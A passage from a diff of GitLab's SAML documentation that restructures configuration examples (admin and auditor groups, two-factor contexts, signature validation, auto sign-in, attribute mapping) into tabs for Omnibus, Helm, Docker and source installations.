``` + +1. Save the file and restart GitLab: + + ```shell + # For systems running systemd + sudo systemctl restart gitlab.target + + # For systems running SysV init + sudo service gitlab restart + ``` + +::EndTabs ### Administrator groups @@ -482,19 +1103,146 @@ the user administrator access. Example configuration: -```yaml -{ name: 'saml', - label: 'Our SAML Provider', - groups_attribute: 'Groups', - admin_groups: ['Admins'], - args: { - assertion_consumer_service_url: 'https://gitlab.example.com/users/auth/saml/callback', - idp_cert_fingerprint: '43:51:43:a1:b5:fc:8b:b7:0a:3a:a9:b1:0f:66:73:a8', - idp_sso_target_url: 'https://login.example.com/idp', - issuer: 'https://gitlab.example.com', - name_identifier_format: 'urn:oasis:names:tc:SAML:2.0:nameid-format:persistent' - } } -``` +::Tabs + +:::TabTitle Linux package (Omnibus) + +1. Edit `/etc/gitlab/gitlab.rb`: + + ```ruby + gitlab_rails['omniauth_providers'] = [ + { name: 'saml', + label: 'Our SAML Provider', + groups_attribute: 'Groups', + admin_groups: ['Admins'], + args: { + assertion_consumer_service_url: 'https://gitlab.example.com/users/auth/saml/callback', + idp_cert_fingerprint: '43:51:43:a1:b5:fc:8b:b7:0a:3a:a9:b1:0f:66:73:a8', + idp_sso_target_url: 'https://login.example.com/idp', + issuer: 'https://gitlab.example.com', + name_identifier_format: 'urn:oasis:names:tc:SAML:2.0:nameid-format:persistent' + } + } + ] + ``` + +1. Save the file and reconfigure GitLab: + + ```shell + sudo gitlab-ctl reconfigure + ``` + +:::TabTitle Helm chart (Kubernetes) + +1. Put the following content in a file named `saml.yaml` to be used as a + [Kubernetes Secret](https://docs.gitlab.com/charts/charts/globals.html#providers): + + ```yaml + name: 'saml' + label: 'Our SAML Provider' + groups_attribute: 'Groups' + admin_groups: ['Admins'] + args: + assertion_consumer_service_url: 'https://gitlab.example.com/users/auth/saml/callback' + idp_cert_fingerprint: '43:51:43:a1:b5:fc:8b:b7:0a:3a:a9:b1:0f:66:73:a8' + idp_sso_target_url: 'https://login.example.com/idp' + issuer: 'https://gitlab.example.com' + name_identifier_format: 'urn:oasis:names:tc:SAML:2.0:nameid-format:persistent' + ``` + +1. Create the Kubernetes Secret: + + ```shell + kubectl create secret generic -n <namespace> gitlab-saml --from-file=provider=saml.yaml + ``` + +1. Export the Helm values: + + ```shell + helm get values gitlab > gitlab_values.yaml + ``` + +1. Edit `gitlab_values.yaml`: + + ```yaml + global: + appConfig: + omniauth: + providers: + - secret: gitlab-saml + ``` + +1. Save the file and apply the new values: + + ```shell + helm upgrade -f gitlab_values.yaml gitlab gitlab/gitlab + ``` + +:::TabTitle Docker + +1. Edit `docker-compose.yml`: + + ```yaml + version: "3.6" + services: + gitlab: + environment: + GITLAB_OMNIBUS_CONFIG: | + gitlab_rails['omniauth_providers'] = [ + { name: 'saml', + label: 'Our SAML Provider', + groups_attribute: 'Groups', + admin_groups: ['Admins'], + args: { + assertion_consumer_service_url: 'https://gitlab.example.com/users/auth/saml/callback', + idp_cert_fingerprint: '43:51:43:a1:b5:fc:8b:b7:0a:3a:a9:b1:0f:66:73:a8', + idp_sso_target_url: 'https://login.example.com/idp', + issuer: 'https://gitlab.example.com', + name_identifier_format: 'urn:oasis:names:tc:SAML:2.0:nameid-format:persistent' + } + } + ] + ``` + +1. Save the file and restart GitLab: + + ```shell + docker compose up -d + ``` + +:::TabTitle Self-compiled (source) + +1. Edit `/home/git/gitlab/config/gitlab.yml`: + + ```yaml + production: &base + omniauth: + providers: + - { name: 'saml', + label: 'Our SAML Provider', + groups_attribute: 'Groups', + admin_groups: ['Admins'], + args: { + assertion_consumer_service_url: 'https://gitlab.example.com/users/auth/saml/callback', + idp_cert_fingerprint: '43:51:43:a1:b5:fc:8b:b7:0a:3a:a9:b1:0f:66:73:a8', + idp_sso_target_url: 'https://login.example.com/idp', + issuer: 'https://gitlab.example.com', + name_identifier_format: 'urn:oasis:names:tc:SAML:2.0:nameid-format:persistent' + } + } + ``` + +1. Save the file and restart GitLab: + + ```shell + # For systems running systemd + sudo systemctl restart gitlab.target + + # For systems running SysV init + sudo service gitlab restart + ``` + +::EndTabs ### Auditor groups **(PREMIUM SELF)** @@ -511,19 +1259,146 @@ users with [auditor access](../administration/auditor_users.md). Example configuration: -```yaml -{ name: 'saml', - label: 'Our SAML Provider', - groups_attribute: 'Groups', - auditor_groups: ['Auditors'], - args: { - assertion_consumer_service_url: 'https://gitlab.example.com/users/auth/saml/callback', - idp_cert_fingerprint: '43:51:43:a1:b5:fc:8b:b7:0a:3a:a9:b1:0f:66:73:a8', - idp_sso_target_url: 'https://login.example.com/idp', - issuer: 'https://gitlab.example.com', - name_identifier_format: 'urn:oasis:names:tc:SAML:2.0:nameid-format:persistent' - } } -``` +::Tabs + +:::TabTitle Linux package (Omnibus) + +1. Edit `/etc/gitlab/gitlab.rb`: + + ```ruby + gitlab_rails['omniauth_providers'] = [ + { name: 'saml', + label: 'Our SAML Provider', + groups_attribute: 'Groups', + auditor_groups: ['Auditors'], + args: { + assertion_consumer_service_url: 'https://gitlab.example.com/users/auth/saml/callback', + idp_cert_fingerprint: '43:51:43:a1:b5:fc:8b:b7:0a:3a:a9:b1:0f:66:73:a8', + idp_sso_target_url: 'https://login.example.com/idp', + issuer: 'https://gitlab.example.com', + name_identifier_format: 'urn:oasis:names:tc:SAML:2.0:nameid-format:persistent' + } + } + ] + ``` + +1. Save the file and reconfigure GitLab: + + ```shell + sudo gitlab-ctl reconfigure + ``` + +:::TabTitle Helm chart (Kubernetes) + +1. Put the following content in a file named `saml.yaml` to be used as a + [Kubernetes Secret](https://docs.gitlab.com/charts/charts/globals.html#providers): + + ```yaml + name: 'saml' + label: 'Our SAML Provider' + groups_attribute: 'Groups' + auditor_groups: ['Auditors'] + args: + assertion_consumer_service_url: 'https://gitlab.example.com/users/auth/saml/callback' + idp_cert_fingerprint: '43:51:43:a1:b5:fc:8b:b7:0a:3a:a9:b1:0f:66:73:a8' + idp_sso_target_url: 'https://login.example.com/idp' + issuer: 'https://gitlab.example.com' + name_identifier_format: 'urn:oasis:names:tc:SAML:2.0:nameid-format:persistent' + ``` + +1. Create the Kubernetes Secret: + + ```shell + kubectl create secret generic -n <namespace> gitlab-saml --from-file=provider=saml.yaml + ``` + +1. Export the Helm values: + + ```shell + helm get values gitlab > gitlab_values.yaml + ``` + +1. Edit `gitlab_values.yaml`: + + ```yaml + global: + appConfig: + omniauth: + providers: + - secret: gitlab-saml + ``` + +1. Save the file and apply the new values: + + ```shell + helm upgrade -f gitlab_values.yaml gitlab gitlab/gitlab + ``` + +:::TabTitle Docker + +1. Edit `docker-compose.yml`: + + ```yaml + version: "3.6" + services: + gitlab: + environment: + GITLAB_OMNIBUS_CONFIG: | + gitlab_rails['omniauth_providers'] = [ + { name: 'saml', + label: 'Our SAML Provider', + groups_attribute: 'Groups', + auditor_groups: ['Auditors'], + args: { + assertion_consumer_service_url: 'https://gitlab.example.com/users/auth/saml/callback', + idp_cert_fingerprint: '43:51:43:a1:b5:fc:8b:b7:0a:3a:a9:b1:0f:66:73:a8', + idp_sso_target_url: 'https://login.example.com/idp', + issuer: 'https://gitlab.example.com', + name_identifier_format: 'urn:oasis:names:tc:SAML:2.0:nameid-format:persistent' + } + } + ] + ``` + +1. Save the file and restart GitLab: + + ```shell + docker compose up -d + ``` + +:::TabTitle Self-compiled (source) + +1. Edit `/home/git/gitlab/config/gitlab.yml`: + + ```yaml + production: &base + omniauth: + providers: + - { name: 'saml', + label: 'Our SAML Provider', + groups_attribute: 'Groups', + auditor_groups: ['Auditors'], + args: { + assertion_consumer_service_url: 'https://gitlab.example.com/users/auth/saml/callback', + idp_cert_fingerprint: '43:51:43:a1:b5:fc:8b:b7:0a:3a:a9:b1:0f:66:73:a8', + idp_sso_target_url: 'https://login.example.com/idp', + issuer: 'https://gitlab.example.com', + name_identifier_format: 'urn:oasis:names:tc:SAML:2.0:nameid-format:persistent' + } + } + ``` + +1. Save the file and restart GitLab: + + ```shell + # For systems running systemd + sudo systemctl restart gitlab.target + + # For systems running SysV init + sudo service gitlab restart + ``` + +::EndTabs ## Automatically manage SAML Group Sync @@ -537,110 +1412,464 @@ list. 1. Make sure that your IdP is returning the `AuthnContext`. For example: -```xml -<saml:AuthnStatement> - <saml:AuthnContext> - <saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:MediumStrongCertificateProtectedTransport</saml:AuthnContextClassRef> - </saml:AuthnContext> -</saml:AuthnStatement> -``` + ```xml + <saml:AuthnStatement> + <saml:AuthnContext> + <saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:MediumStrongCertificateProtectedTransport</saml:AuthnContextClassRef> + </saml:AuthnContext> + </saml:AuthnStatement> + ``` 1. Edit your installation configuration to register the SAML authentication method - in the `upstream_two_factor_authn_contexts` list. How you edit your configuration - will differ depending on your installation type. + in the `upstream_two_factor_authn_contexts` list. + + ::Tabs + + :::TabTitle Linux package (Omnibus) + + 1. Edit `/etc/gitlab/gitlab.rb`: + + ```ruby + gitlab_rails['omniauth_providers'] = [ + { name: 'saml', + label: 'Our SAML Provider', + args: { + assertion_consumer_service_url: 'https://gitlab.example.com/users/auth/saml/callback', + idp_cert_fingerprint: '43:51:43:a1:b5:fc:8b:b7:0a:3a:a9:b1:0f:66:73:a8', + idp_sso_target_url: 'https://login.example.com/idp', + issuer: 'https://gitlab.example.com', + name_identifier_format: 'urn:oasis:names:tc:SAML:2.0:nameid-format:persistent' + upstream_two_factor_authn_contexts: + %w( + urn:oasis:names:tc:SAML:2.0:ac:classes:CertificateProtectedTransport + urn:oasis:names:tc:SAML:2.0:ac:classes:SecondFactorOTPSMS + urn:oasis:names:tc:SAML:2.0:ac:classes:SecondFactorIGTOKEN + ), + } + } + ] + ``` + + 1. Save the file and reconfigure GitLab: + + ```shell + sudo gitlab-ctl reconfigure + ``` + + :::TabTitle Helm chart (Kubernetes) + + 1. Put the following content in a file named `saml.yaml` to be used as a + [Kubernetes Secret](https://docs.gitlab.com/charts/charts/globals.html#providers): + + ```yaml + name: 'saml' + label: 'Our SAML Provider' + args: + assertion_consumer_service_url: 'https://gitlab.example.com/users/auth/saml/callback' + idp_cert_fingerprint: '43:51:43:a1:b5:fc:8b:b7:0a:3a:a9:b1:0f:66:73:a8' + idp_sso_target_url: 'https://login.example.com/idp' + issuer: 'https://gitlab.example.com' + name_identifier_format: 'urn:oasis:names:tc:SAML:2.0:nameid-format:persistent' + upstream_two_factor_authn_contexts: + - 'urn:oasis:names:tc:SAML:2.0:ac:classes:CertificateProtectedTransport' + - 'urn:oasis:names:tc:SAML:2.0:ac:classes:SecondFactorOTPSMS' + - 'urn:oasis:names:tc:SAML:2.0:ac:classes:SecondFactorIGTOKEN' + ``` + + 1. Create the Kubernetes Secret: + + ```shell + kubectl create secret generic -n <namespace> gitlab-saml --from-file=provider=saml.yaml + ``` + + 1. Export the Helm values: + + ```shell + helm get values gitlab > gitlab_values.yaml + ``` + + 1. Edit `gitlab_values.yaml`: + + ```yaml + global: + appConfig: + omniauth: + providers: + - secret: gitlab-saml + ``` + + 1. Save the file and apply the new values: + + ```shell + helm upgrade -f gitlab_values.yaml gitlab gitlab/gitlab + ``` + + :::TabTitle Docker + + 1. Edit `docker-compose.yml`: + + ```yaml + version: "3.6" + services: + gitlab: + environment: + GITLAB_OMNIBUS_CONFIG: | + gitlab_rails['omniauth_providers'] = [ + { name: 'saml', + label: 'Our SAML Provider', + args: { + assertion_consumer_service_url: 'https://gitlab.example.com/users/auth/saml/callback', + idp_cert_fingerprint: '43:51:43:a1:b5:fc:8b:b7:0a:3a:a9:b1:0f:66:73:a8', + idp_sso_target_url: 'https://login.example.com/idp', + issuer: 'https://gitlab.example.com', + name_identifier_format: 'urn:oasis:names:tc:SAML:2.0:nameid-format:persistent' + upstream_two_factor_authn_contexts: + %w( + urn:oasis:names:tc:SAML:2.0:ac:classes:CertificateProtectedTransport + urn:oasis:names:tc:SAML:2.0:ac:classes:SecondFactorOTPSMS + urn:oasis:names:tc:SAML:2.0:ac:classes:SecondFactorIGTOKEN + ) + } + } + ] + ``` + + 1. Save the file and restart GitLab: + + ```shell + docker compose up -d + ``` + + :::TabTitle Self-compiled (source) + + 1. Edit `/home/git/gitlab/config/gitlab.yml`: + + ```yaml + production: &base + omniauth: + providers: + - { name: 'saml', + label: 'Our SAML Provider', + args: { + assertion_consumer_service_url: 'https://gitlab.example.com/users/auth/saml/callback', + idp_cert_fingerprint: '43:51:43:a1:b5:fc:8b:b7:0a:3a:a9:b1:0f:66:73:a8', + idp_sso_target_url: 'https://login.example.com/idp', + issuer: 'https://gitlab.example.com', + name_identifier_format: 'urn:oasis:names:tc:SAML:2.0:nameid-format:persistent' + upstream_two_factor_authn_contexts: + [ + 'urn:oasis:names:tc:SAML:2.0:ac:classes:CertificateProtectedTransport', + 'urn:oasis:names:tc:SAML:2.0:ac:classes:SecondFactorOTPSMS', + 'urn:oasis:names:tc:SAML:2.0:ac:classes:SecondFactorIGTOKEN' + ] + } + } + ``` + + 1. Save the file and restart GitLab: + + ```shell + # For systems running systemd + sudo systemctl restart gitlab.target + + # For systems running SysV init + sudo service gitlab restart + ``` + + ::EndTabs -### Omnibus GitLab installations +## Validate response signatures + +IdPs must sign SAML responses to ensure that the assertions are not tampered with. + +This prevents user impersonation and privilege escalation when specific group +membership is required. + +### Using `idp_cert_fingerprint` + +You configure the response signature validation using `idp_cert_fingerprint`. +An example configuration: + +::Tabs + +:::TabTitle Linux package (Omnibus) 1. Edit `/etc/gitlab/gitlab.rb`: ```ruby gitlab_rails['omniauth_providers'] = [ - { - name: "saml", + { name: 'saml', + label: 'Our SAML Provider', args: { - assertion_consumer_service_url: "https://gitlab.example.com/users/auth/saml/callback", - idp_cert_fingerprint: "43:51:43:a1:b5:fc:8b:b7:0a:3a:a9:b1:0f:66:73:a8", - idp_sso_target_url: "https://login.example.com/idp", - issuer: "https://gitlab.example.com", - name_identifier_format: "urn:oasis:names:tc:SAML:2.0:nameid-format:persistent", - upstream_two_factor_authn_contexts: - %w( - urn:oasis:names:tc:SAML:2.0:ac:classes:CertificateProtectedTransport - urn:oasis:names:tc:SAML:2.0:ac:classes:SecondFactorOTPSMS - urn:oasis:names:tc:SAML:2.0:ac:classes:SecondFactorIGTOKEN - ) - }, - label: "Company Login" # optional label for SAML login button, defaults to "Saml" + assertion_consumer_service_url: 'https://gitlab.example.com/users/auth/saml/callback', + idp_cert_fingerprint: '43:51:43:a1:b5:fc:8b:b7:0a:3a:a9:b1:0f:66:73:a8', + idp_sso_target_url: 'https://login.example.com/idp', + issuer: 'https://gitlab.example.com', + name_identifier_format: 'urn:oasis:names:tc:SAML:2.0:nameid-format:persistent' + } } ] ``` -1. Save the file and [reconfigure](../administration/restart_gitlab.md#omnibus-gitlab-reconfigure) - GitLab for the changes to take effect. +1. Save the file and reconfigure GitLab: -### Installations from source + ```shell + sudo gitlab-ctl reconfigure + ``` -1. Edit `config/gitlab.yml`: +:::TabTitle Helm chart (Kubernetes) + +1. Put the following content in a file named `saml.yaml` to be used as a + [Kubernetes Secret](https://docs.gitlab.com/charts/charts/globals.html#providers): ```yaml - omniauth: - providers: - - { - name: 'saml', - args: { - assertion_consumer_service_url: 'https://gitlab.example.com/users/auth/saml/callback', - idp_cert_fingerprint: '43:51:43:a1:b5:fc:8b:b7:0a:3a:a9:b1:0f:66:73:a8', - idp_sso_target_url: 'https://login.example.com/idp', - issuer: 'https://gitlab.example.com', - name_identifier_format: 'urn:oasis:names:tc:SAML:2.0:nameid-format:persistent', - upstream_two_factor_authn_contexts: - [ - 'urn:oasis:names:tc:SAML:2.0:ac:classes:CertificateProtectedTransport', - 'urn:oasis:names:tc:SAML:2.0:ac:classes:SecondFactorOTPSMS', - 'urn:oasis:names:tc:SAML:2.0:ac:classes:SecondFactorIGTOKEN' - ] - }, - label: 'Company Login' # optional label for SAML login button, defaults to "Saml" - } + name: 'saml' + label: 'Our SAML Provider' + args: + assertion_consumer_service_url: 'https://gitlab.example.com/users/auth/saml/callback' + idp_cert_fingerprint: '43:51:43:a1:b5:fc:8b:b7:0a:3a:a9:b1:0f:66:73:a8' + idp_sso_target_url: 'https://login.example.com/idp' + issuer: 'https://gitlab.example.com' + name_identifier_format: 'urn:oasis:names:tc:SAML:2.0:nameid-format:persistent' ``` -1. Save the file and [restart GitLab](../administration/restart_gitlab.md#installations-from-source) - for the changes to take effect. +1. Create the Kubernetes Secret: -## Validate response signatures + ```shell + kubectl create secret generic -n <namespace> gitlab-saml --from-file=provider=saml.yaml + ``` -IdPs must sign SAML responses to ensure that the assertions are not tampered with. +1. Export the Helm values: -This prevents user impersonation and privilege escalation when specific group -membership is required. + ```shell + helm get values gitlab > gitlab_values.yaml + ``` -You configure the response signature validation using `idp_cert_fingerprint`. -An example configuration: +1. Edit `gitlab_values.yaml`: + + ```yaml + global: + appConfig: + omniauth: + providers: + - secret: gitlab-saml + ``` + +1. Save the file and apply the new values: + + ```shell + helm upgrade -f gitlab_values.yaml gitlab gitlab/gitlab + ``` + +:::TabTitle Docker + +1. Edit `docker-compose.yml`: + + ```yaml + version: "3.6" + services: + gitlab: + environment: + GITLAB_OMNIBUS_CONFIG: | + gitlab_rails['omniauth_providers'] = [ + { name: 'saml', + label: 'Our SAML Provider', + args: { + assertion_consumer_service_url: 'https://gitlab.example.com/users/auth/saml/callback', + idp_cert_fingerprint: '43:51:43:a1:b5:fc:8b:b7:0a:3a:a9:b1:0f:66:73:a8', + idp_sso_target_url: 'https://login.example.com/idp', + issuer: 'https://gitlab.example.com', + name_identifier_format: 'urn:oasis:names:tc:SAML:2.0:nameid-format:persistent' + } + } + ] + ``` + +1. Save the file and restart GitLab: + + ```shell + docker compose up -d + ``` + +:::TabTitle Self-compiled (source) + +1. Edit `/home/git/gitlab/config/gitlab.yml`: + + ```yaml + production: &base + omniauth: + providers: + - { name: 'saml', + label: 'Our SAML Provider', + args: { + assertion_consumer_service_url: 'https://gitlab.example.com/users/auth/saml/callback', + idp_cert_fingerprint: '43:51:43:a1:b5:fc:8b:b7:0a:3a:a9:b1:0f:66:73:a8', + idp_sso_target_url: 'https://login.example.com/idp', + issuer: 'https://gitlab.example.com', + name_identifier_format: 'urn:oasis:names:tc:SAML:2.0:nameid-format:persistent' + } + } + ``` -```yaml -args: { - assertion_consumer_service_url: 'https://gitlab.example.com/users/auth/saml/callback', - idp_cert_fingerprint: '43:51:43:a1:b5:fc:8b:b7:0a:3a:a9:b1:0f:66:73:a8', - idp_sso_target_url: 'https://login.example.com/idp', - issuer: 'https://gitlab.example.com', - name_identifier_format: 'urn:oasis:names:tc:SAML:2.0:nameid-format:persistent', -} -``` +1. Save the file and restart GitLab: + + ```shell + # For systems running systemd + sudo systemctl restart gitlab.target + + # For systems running SysV init + sudo service gitlab restart + ``` + +::EndTabs + +### Using `idp_cert` If your IdP does not support configuring this using `idp_cert_fingerprint`, you -can instead configure GitLab directly using `idp_cert`. An example configuration: - -```yaml -args: { - assertion_consumer_service_url: 'https://gitlab.example.com/users/auth/saml/callback', - idp_cert: '-----BEGIN CERTIFICATE----- - <redacted> - -----END CERTIFICATE-----', - idp_sso_target_url: 'https://login.example.com/idp', - issuer: 'https://gitlab.example.com', - name_identifier_format: 'urn:oasis:names:tc:SAML:2.0:nameid-format:persistent', -} -``` +can instead configure GitLab directly using `idp_cert`. +An example configuration: + +::Tabs + +:::TabTitle Linux package (Omnibus) + +1. Edit `/etc/gitlab/gitlab.rb`: + + ```ruby + gitlab_rails['omniauth_providers'] = [ + { name: 'saml', + label: 'Our SAML Provider', + args: { + assertion_consumer_service_url: 'https://gitlab.example.com/users/auth/saml/callback', + idp_cert: '-----BEGIN CERTIFICATE----- + <redacted> + -----END CERTIFICATE-----', + idp_sso_target_url: 'https://login.example.com/idp', + issuer: 'https://gitlab.example.com', + name_identifier_format: 'urn:oasis:names:tc:SAML:2.0:nameid-format:persistent' + } + } + ] + ``` + +1. Save the file and reconfigure GitLab: + + ```shell + sudo gitlab-ctl reconfigure + ``` + +:::TabTitle Helm chart (Kubernetes) + +1. Put the following content in a file named `saml.yaml` to be used as a + [Kubernetes Secret](https://docs.gitlab.com/charts/charts/globals.html#providers): + + ```yaml + name: 'saml' + label: 'Our SAML Provider' + args: + assertion_consumer_service_url: 'https://gitlab.example.com/users/auth/saml/callback' + idp_cert: | + -----BEGIN CERTIFICATE----- + <redacted> + -----END CERTIFICATE----- + idp_sso_target_url: 'https://login.example.com/idp' + issuer: 'https://gitlab.example.com' + name_identifier_format: 'urn:oasis:names:tc:SAML:2.0:nameid-format:persistent' + ``` + +1. Create the Kubernetes Secret: + + ```shell + kubectl create secret generic -n <namespace> gitlab-saml --from-file=provider=saml.yaml + ``` + +1. Export the Helm values: + + ```shell + helm get values gitlab > gitlab_values.yaml + ``` + +1. Edit `gitlab_values.yaml`: + + ```yaml + global: + appConfig: + omniauth: + providers: + - secret: gitlab-saml + ``` + +1. Save the file and apply the new values: + + ```shell + helm upgrade -f gitlab_values.yaml gitlab gitlab/gitlab + ``` + +:::TabTitle Docker + +1. Edit `docker-compose.yml`: + + ```yaml + version: "3.6" + services: + gitlab: + environment: + GITLAB_OMNIBUS_CONFIG: | + gitlab_rails['omniauth_providers'] = [ + { name: 'saml', + label: 'Our SAML Provider', + args: { + assertion_consumer_service_url: 'https://gitlab.example.com/users/auth/saml/callback', + idp_cert: '-----BEGIN CERTIFICATE----- + <redacted> + -----END CERTIFICATE-----', + idp_sso_target_url: 'https://login.example.com/idp', + issuer: 'https://gitlab.example.com', + name_identifier_format: 'urn:oasis:names:tc:SAML:2.0:nameid-format:persistent' + } + } + ] + ``` + +1. Save the file and restart GitLab: + + ```shell + docker compose up -d + ``` + +:::TabTitle Self-compiled (source) + +1. Edit `/home/git/gitlab/config/gitlab.yml`: + + ```yaml + production: &base + omniauth: + providers: + - { name: 'saml', + label: 'Our SAML Provider', + args: { + assertion_consumer_service_url: 'https://gitlab.example.com/users/auth/saml/callback', + idp_cert: '-----BEGIN CERTIFICATE----- + <redacted> + -----END CERTIFICATE-----', + idp_sso_target_url: 'https://login.example.com/idp', + issuer: 'https://gitlab.example.com', + name_identifier_format: 'urn:oasis:names:tc:SAML:2.0:nameid-format:persistent' + } + } + ``` + +1. Save the file and restart GitLab: + + ```shell + # For systems running systemd + sudo systemctl restart gitlab.target + + # For systems running SysV init + sudo service gitlab restart + ``` + +::EndTabs If you have configured the response signature validation incorrectly, you might see error messages such as: @@ -659,24 +1888,92 @@ You can add the `auto_sign_in_with_provider` setting to your GitLab configuratio to automatically redirect you to your SAML server for authentication. This removes the requirement to select an element before actually signing in. -For Omnibus GitLab installations: +::Tabs + +:::TabTitle Linux package (Omnibus) + +1. Edit `/etc/gitlab/gitlab.rb`: + + ```ruby + gitlab_rails['omniauth_auto_sign_in_with_provider'] = 'saml' + ``` + +1. Save the file and reconfigure GitLab: + + ```shell + sudo gitlab-ctl reconfigure + ``` + +:::TabTitle Helm chart (Kubernetes) -```ruby -gitlab_rails['omniauth_auto_sign_in_with_provider'] = 'saml' -``` +1. Export the Helm values: -For installations from source: + ```shell + helm get values gitlab > gitlab_values.yaml + ``` + +1. Edit `gitlab_values.yaml`: + + ```yaml + global: + appConfig: + omniauth: + autoSignInWithProvider: 'saml' + ``` + +1. Save the file and apply the new values: + + ```shell + helm upgrade -f gitlab_values.yaml gitlab gitlab/gitlab + ``` + +:::TabTitle Docker + +1. Edit `docker-compose.yml`: + + ```yaml + version: "3.6" + services: + gitlab: + environment: + GITLAB_OMNIBUS_CONFIG: | + gitlab_rails['omniauth_auto_sign_in_with_provider'] = 'saml' + ``` -```yaml -omniauth: - auto_sign_in_with_provider: saml -``` +1. Save the file and restart GitLab: + + ```shell + docker compose up -d + ``` + +:::TabTitle Self-compiled (source) + +1. Edit `/home/git/gitlab/config/gitlab.yml`: + + ```yaml + production: &base + omniauth: + auto_sign_in_with_provider: 'saml' + ``` + +1. Save the file and restart GitLab: + + ```shell + # For systems running systemd + sudo systemctl restart gitlab.target + + # For systems running SysV init + sudo service gitlab restart + ``` + +::EndTabs Every sign in attempt redirects to the SAML server, so you cannot sign in using local credentials. Make sure at least one of the SAML users has administrator access. -You can also bypass the auto sign-in feature by -`https://gitlab.example.com/users/sign_in?auto_sign_in=false`. +NOTE: +To bypass the auto sign-in setting, append `?auto_sign_in=false` in the sign in +URL, for example: `https://gitlab.example.com/users/sign_in?auto_sign_in=false`. ### Map SAML response attribute names **(FREE SELF)** @@ -692,19 +1989,146 @@ corresponding key in the `info` hash. URI-named Attributes are also supported, f `{ email: ['http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress'] }`. Use this setting to tell GitLab where to look for certain attributes required -to create an account. If your IdP sends the user's email address as `EmailAddress` +to create an account. For example, if your IdP sends the user's email address as `EmailAddress` instead of `email`, let GitLab know by setting it on your configuration: -```yaml -args: { - assertion_consumer_service_url: 'https://gitlab.example.com/users/auth/saml/callback', - idp_cert_fingerprint: '43:51:43:a1:b5:fc:8b:b7:0a:3a:a9:b1:0f:66:73:a8', - idp_sso_target_url: 'https://login.example.com/idp', - issuer: 'https://gitlab.example.com', - name_identifier_format: 'urn:oasis:names:tc:SAML:2.0:nameid-format:persistent', - attribute_statements: { email: ['EmailAddress'] } -} -``` +::Tabs + +:::TabTitle Linux package (Omnibus) + +1. Edit `/etc/gitlab/gitlab.rb`: + + ```ruby + gitlab_rails['omniauth_providers'] = [ + { name: 'saml', + label: 'Our SAML Provider', + args: { + assertion_consumer_service_url: 'https://gitlab.example.com/users/auth/saml/callback', + idp_cert_fingerprint: '43:51:43:a1:b5:fc:8b:b7:0a:3a:a9:b1:0f:66:73:a8', + idp_sso_target_url: 'https://login.example.com/idp', + issuer: 'https://gitlab.example.com', + name_identifier_format: 'urn:oasis:names:tc:SAML:2.0:nameid-format:persistent', + attribute_statements: { email: ['EmailAddress'] } + } + } + ] + ``` + +1. Save the file and reconfigure GitLab: + + ```shell + sudo gitlab-ctl reconfigure + ``` + +:::TabTitle Helm chart (Kubernetes) + +1. Put the following content in a file named `saml.yaml` to be used as a + [Kubernetes Secret](https://docs.gitlab.com/charts/charts/globals.html#providers): + + ```yaml + name: 'saml' + label: 'Our SAML Provider' + args: + assertion_consumer_service_url: 'https://gitlab.example.com/users/auth/saml/callback' + idp_cert_fingerprint: '43:51:43:a1:b5:fc:8b:b7:0a:3a:a9:b1:0f:66:73:a8' + idp_sso_target_url: 'https://login.example.com/idp' + issuer: 'https://gitlab.example.com' + name_identifier_format: 'urn:oasis:names:tc:SAML:2.0:nameid-format:persistent' + attribute_statements: + email: ['EmailAddress'] + ``` + +1. Create the Kubernetes Secret: + + ```shell + kubectl create secret generic -n <namespace> gitlab-saml --from-file=provider=saml.yaml + ``` + +1. Export the Helm values: + + ```shell + helm get values gitlab > gitlab_values.yaml + ``` + +1. Edit `gitlab_values.yaml`: + + ```yaml + global: + appConfig: + omniauth: + providers: + - secret: gitlab-saml + ``` + +1. Save the file and apply the new values: + + ```shell + helm upgrade -f gitlab_values.yaml gitlab gitlab/gitlab + ``` + +:::TabTitle Docker + +1. Edit `docker-compose.yml`: + + ```yaml + version: "3.6" + services: + gitlab: + environment: + GITLAB_OMNIBUS_CONFIG: | + gitlab_rails['omniauth_providers'] = [ + { name: 'saml', + label: 'Our SAML Provider', + args: { + assertion_consumer_service_url: 'https://gitlab.example.com/users/auth/saml/callback', + idp_cert_fingerprint: '43:51:43:a1:b5:fc:8b:b7:0a:3a:a9:b1:0f:66:73:a8', + idp_sso_target_url: 'https://login.example.com/idp', + issuer: 'https://gitlab.example.com', + name_identifier_format: 'urn:oasis:names:tc:SAML:2.0:nameid-format:persistent', + attribute_statements: { email: ['EmailAddress'] } + } + } + ] + ``` + +1. Save the file and restart GitLab: + + ```shell + docker compose up -d + ``` + +:::TabTitle Self-compiled (source) + +1. Edit `/home/git/gitlab/config/gitlab.yml`: + + ```yaml + production: &base + omniauth: + providers: + - { name: 'saml', + label: 'Our SAML Provider', + args: { + assertion_consumer_service_url: 'https://gitlab.example.com/users/auth/saml/callback', + idp_cert_fingerprint: '43:51:43:a1:b5:fc:8b:b7:0a:3a:a9:b1:0f:66:73:a8', + idp_sso_target_url: 'https://login.example.com/idp', + issuer: 'https://gitlab.example.com', + name_identifier_format: 'urn:oasis:names:tc:SAML:2.0:nameid-format:persistent', + attribute_statements: { email: ['EmailAddress'] } + } + } + ``` + +1. Save the file and restart GitLab: + + ```shell + # For systems running systemd + sudo systemctl restart gitlab.target + + # For systems running SysV init + sudo service gitlab restart + ``` + +::EndTabs #### Set a username @@ -713,16 +2137,147 @@ generate the user's GitLab username. Configure `nickname` in `attribute_statements` to specify one or more attributes that contain a user's desired username: -```yaml -args: { - assertion_consumer_service_url: 'https://gitlab.example.com/users/auth/saml/callback', - idp_cert_fingerprint: '43:51:43:a1:b5:fc:8b:b7:0a:3a:a9:b1:0f:66:73:a8', - idp_sso_target_url: 'https://login.example.com/idp', - issuer: 'https://gitlab.example.com', - name_identifier_format: 'urn:oasis:names:tc:SAML:2.0:nameid-format:persistent', - attribute_statements: { nickname: ['username'] } -} -``` +::Tabs + +:::TabTitle Linux package (Omnibus) + +1. Edit `/etc/gitlab/gitlab.rb`: + + ```ruby + gitlab_rails['omniauth_providers'] = [ + { name: 'saml', + label: 'Our SAML Provider', + args: { + assertion_consumer_service_url: 'https://gitlab.example.com/users/auth/saml/callback', + idp_cert_fingerprint: '43:51:43:a1:b5:fc:8b:b7:0a:3a:a9:b1:0f:66:73:a8', + idp_sso_target_url: 'https://login.example.com/idp', + issuer: 'https://gitlab.example.com', + name_identifier_format: 'urn:oasis:names:tc:SAML:2.0:nameid-format:persistent', + attribute_statements: 